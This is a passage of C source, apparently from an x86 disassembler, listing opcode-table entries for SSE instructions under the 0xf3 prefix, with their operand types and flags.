FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"addsubpd\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movdq2q\",   AM_P|OT_q|P_w,               AM_V|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtpd2dq\",  AM_V|OT_dq|P_r,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,   \"lddqu\",      AM_V|OT_dq,                  AM_M|OT_dq,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n}; \n\n// 3-byte instructions, prefix 0xf3\n\nINST inst_table3_f3[256] = {\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movss\",     AM_W|OT_ss|P_w,              AM_V|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movsldup\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movshdup\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtsi2ss\",  AM_V|OT_ss|P_r,              AM_E|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cvttss2si\", AM_G|OT_d|P_r,               AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtss2si\",  AM_G|OT_d|P_r,               AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"sqrtss\",    AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"rsqrtss\",   AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"rcpss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"addss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"mulss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtsd2sd\",  AM_V|OT_sd|P_r,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvttps2dq\", AM_V|OT_dq|P_r,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"subss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"minss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"divss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"maxss\",     AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movdqu\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_SSE,    \"pshufhw\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movq\",      AM_V|OT_q|P_w,               AM_W|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movdqu\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  